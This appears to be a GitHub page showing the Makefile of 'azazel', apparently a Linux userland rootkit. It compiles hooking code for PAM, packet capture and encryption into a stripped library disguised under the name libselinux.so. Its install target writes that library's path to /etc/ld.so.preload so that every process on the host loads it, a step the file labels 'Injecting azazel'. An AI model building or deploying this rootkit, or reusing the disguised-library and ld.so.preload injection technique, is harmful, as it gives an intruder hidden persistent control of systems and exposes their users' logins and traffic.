-
Notifications
You must be signed in to change notification settings - Fork 183
Expand file tree
/
Copy pathMakefile
More file actions
29 lines (21 loc) · 726 Bytes
/
Makefile
File metadata and controls
29 lines (21 loc) · 726 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
INSTALL=/lib
CFLAGS+= -Wall
LDFLAGS+= -lc -ldl -lpam -lutil
all: config libselinux.so
client:
$(CC) -fPIC client.c -shared -o client.so
config:
@python config.py > const.h
libselinux.so: azazel.c pam.c xor.c crypthook.c pcap.c
$(CC) -fPIC -g -c azazel.c pam.c xor.c crypthook.c pcap.c
$(CC) -fPIC -shared -Wl,-soname,libselinux.so azazel.o xor.o pam.o crypthook.o pcap.o $(LDFLAGS) -o libselinux.so
strip libselinux.so
install: all
@echo [-] Initiating Installation Directory $(INSTALL)
@test -d $(INSTALL) || mkdir $(INSTALL)
@echo [-] Installing azazel
@install -m 0755 libselinux.so $(INSTALL)/
@echo [-] Injecting azazel
@echo $(INSTALL)/libselinux.so > /etc/ld.so.preload
clean:
rm libselinux.so *.o